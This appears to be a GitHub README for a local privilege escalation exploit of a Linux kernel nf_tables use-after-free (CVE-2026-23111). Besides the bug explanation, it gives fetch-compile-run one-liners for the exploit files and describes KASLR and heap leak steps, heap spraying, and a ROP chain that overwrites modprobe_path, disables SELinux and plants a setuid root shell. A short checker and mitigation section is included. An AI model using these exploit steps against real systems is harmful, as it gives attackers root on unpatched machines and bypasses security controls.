
Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
Linux Kernel nf_tables Use-After-Free (Local Privilege Escalation) poc by baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Version Range | Fixed In |
|---|---|
| 6.19-rc1 to 6.19-rc8 | 6.19-rc9+ |
| 6.13 to 6.18.9 | 6.18.10 |
| 6.7 to 6.12.69 | 6.12.70 |
| 6.4.1 to 6.5.x | EOL (no stable fix) |
| 6.3.10 to 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 to 6.1.162 | 6.1.163 |
| 5.15.121 to 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Various LTS |
CVE-2026-23111 is an nf_tables use-after-free caused by an inverted generation-mask check in nft_map_catchall_activate(). During rollback of a failed transaction, catchall verdict-map elements that were deactivated by NFT_MSG_DELSET must be reactivated so references such as NFT_GOTO chain references are restored. The catchall activation path instead skipped inactive elements and processed active ones, leaving deactivated catchall elements unrestored.
The correct non-catchall activation logic is:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* skip active, process inactive */
The vulnerable catchall path used the opposite condition:
if (!nft_set_elem_active(ext, genmask))
continue; /* skip inactive, process active */
When a deleted pipapo verdict map is rolled back, this prevents nft_setelem_data_activate() from running for the inactive catchall element. For NFT_JUMP/NFT_GOTO verdict data, the chain reference taken by nft_data_hold() is therefore not restored. Repeating the abort/toggle/delete sequence can drive chain->use to zero while another rule still contains a valid verdict reference to the chain. A later DELCHAIN can then free the chain while it remains reachable, creating the UAF.
Create table, base chain, victim chain, and pipapo verdict map with catchall NFT_GOTO -> victim
|
Batch 1: delete the pipapo set, then force a transaction error
|
Abort path calls nft_map_catchall_activate(), but the inverted check skips the inactive catchall
|
The catchall remains inactive and the victim chain reference count is not restored
|
Batch 2: commit a benign transaction to toggle the generation cursor
|
Batch 3: delete the pipapo set successfully, decrementing the victim chain reference again
|
Batch 4: delete the victim chain while the base-chain verdict still references it
|
Use-after-free when packet evaluation or rule dumping follows the dangling verdict reference
The upstream fix is to remove the negation so nft_map_catchall_activate() matches nft_mapelem_activate(): active elements are skipped, inactive elements are reactivated, and verdict/object references are restored during abort handling.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Use this if the full/v1 PoC fails on the target kernel.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Install build dependencies first if the compiler cannot find libmnl/libmnl.h or libnftnl headers:
scripts/install-build-deps.sh
# or
make deps
make # Build exploit (PoC only)
make v2 # Build v2 exploit (FuzzingLabs approach — try when v1 fails)
make full # Build full LPE exploit
make v3 # Build v3 calibrated eval-path variant
make run-d # Run PoC with debug output
make run-v2-d # Run v2 with debug output
make run-v3 # Show v3 usage/help
make run-full # Run full LPE
Creates a pipapo map set with a catchall element (goto victim chain), then uses the inverted genmask bug during a DELSET abort to corrupt chain->use. After advancing the generation counter, DELCHAIN succeeds despite dangling references, freeing the chain.
After the UAF, chain->name memory is freed. We spray seq_operations structures (32 bytes) by opening /proc/self/stat to reclaim the freed slab cache slot. Reading back the base chain's immediate verdict rule via NFT_MSG_GETRULE dumps the reclaimed chain name, leaking kernel function pointers. Pointer validation ensures only canonical kernel text addresses are accepted.
Re-triggers the UAF with a longer chain name (140 bytes → kmalloc-cg-192), then sprays nft_rule objects to reclaim the memory. The leaked list_head pointers reveal heap addresses in the direct map region.
nft_expr_ops and nft_rule_blobblob_gen_0commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->evalThe v2 exploit (exploit_v2.c) uses the techniques described in the FuzzingLabs writeup and can be used when the v1 PoC fails. Key differences:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (tagged pointer)
msg_queue + 0xc0 → q_messages.next → msg_msg heap address
Each step uses the freed chain struct as an arbitrary-read primitive:
table userdata (128 bytes) reclaims the freed nft_chain in kmalloc-cg-128,
and a kernel address placed at offset 0x40 (where chain->name lives) is
dereferenced by the kernel during SET_B element dumps.
The v3 heap stage is offset-predicted rather than a true binary-safe arbitrary-read-via-eval primitive. Calibrate the target before running the final spray:
grep msg_msg /proc/slabinfo
# Cross-reference with kmalloc-cg-2048 object density, then run with:
./exploit_v3 --msg-msg-addr 0xffff...
# or, when the value is known relative to the leaked kernel base:
./exploit_v3 --msg-msg-delta 0x...
Verify the nftables structure offsets against the exact kernel build:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
Gadget scanning uses /proc/kcore; if it is restricted, extract gadgets from vmlinux offline and hardcode addresses relative to the leaked kernel base. The v3 packet eval path uses push rdi; pop rsp because rdi = expr; this differs from the v2 validate path, where rsi = expr.
push rdi; pop rsp; pop rbp; ret ← stack pivot (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ write modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ disable SELinux
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ keep kernel alive
The /tmp/pe script runs as root when the kernel invokes modprobe_path
after encountering an unknown binary format. It creates a setuid root shell
at /tmp/rootbash.
NFT_MSG_GETELEM (different kernel code path) instead of NFT_MSG_GETRULEinit_ipc_ns global variable to walk kernel data structures instead of spraying nft_rule objectsmsg_msg-2k (large, stable buffer) instead of nft_rules + table userdata for the ROP payloadmodprobe_path (works without swapgs/iretq) instead of commit_creds + namespace switchSLAB_RANDOM/hardening: v2's init_ipc_ns chain targets a stable global, making heap layout less criticalIn nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // BUG: should be without '!'
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
The ! causes the function to skip INACTIVE elements instead of processing them. During transaction abort, the catchall element (which was just deactivated by DELSET) is skipped, so nft_data_hold() is never called to restore the chain reference counter.
├── CVE-2026-23111-checker.py Vulnerability detection script (--detailed, --json)
├── exploit.c PoC exploit (UAF + KASLR leak + heap leak)
├── exploit_v2.c v2 exploit (FuzzingLabs approach — try when v1 fails)
├── exploit_full.c Full LPE exploit (UAF + leaks + ROP chain)
├── exploit_full_aarch64 Pre-built aarch64 binary (static)
├── exploit_full.b64 Base64-encoded full exploit binary
├── Makefile Build configuration
└── README.md This file
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # PoC with ASan
make debug-full # Full exploit with ASan
The checker performs multiple detection methods:
nf_tables kernel module is loadedCONFIG_NF_TABLES from /proc/config.gz or /boot/config-*nft_map_catchall_activate in /proc/kallsymskernel.unprivileged_userns_clone sysctlpython3 CVE-2026-23111-checker.py --detailed # Human-readable with mitigations
python3 CVE-2026-23111-checker.py --json # Machine-readable JSON
sysctl kernel.unprivileged_userns_clone=0nf_tables module if not needed:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| Component | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| UAF trigger | Single set + immediate goto rule | Two sets (FuzzingLabs style) + lookup rule |
| KASLR readback | NFT_MSG_GETRULE (rule dump) | NFT_MSG_GETELEM (element dump) + GETRULE fallback |
| Heap leak | nft_rule spray + list_head leak | init_ipc_ns arbitrary-read chain |
| ROP host | nft_rules + table userdata | msg_msg-2k (2048-byte message) |
| Hijack trigger | Packet eval on immediate goto | Packet eval on surviving set catchall |
| Privilege escalation | commit_creds + switch_task_namespaces | modprobe_path overwrite + SELinux disable |
| Return path | swapgs; iretq | msleep() (stays in kernel) |
| Problem | Solution |
|---|
mnl_socket_open: No such file or directory | Ensure nf_tables module is loaded: modprobe nf_tables |
unshare: Operation not permitted | Requires unprivileged user namespaces. Check kernel.unprivileged_userns_clone=1 |
Batch A did NOT abort | Kernel may be patched or the genmask behavior differs |
No kernel pointer leaked | KASLR hardening or SLAB_RANDOM may be in effect; try multiple runs |
No heap pointer found | Heap spray collision rate is probabilistic; retry or increase spray count |
Compilation: nf_tables.h: No such file | Install kernel headers: apt install linux-headers-$(uname -r) |
Link error: undefined reference to mnl_* | Link order matters: -lnftnl -lmnl (nftnl before mnl) |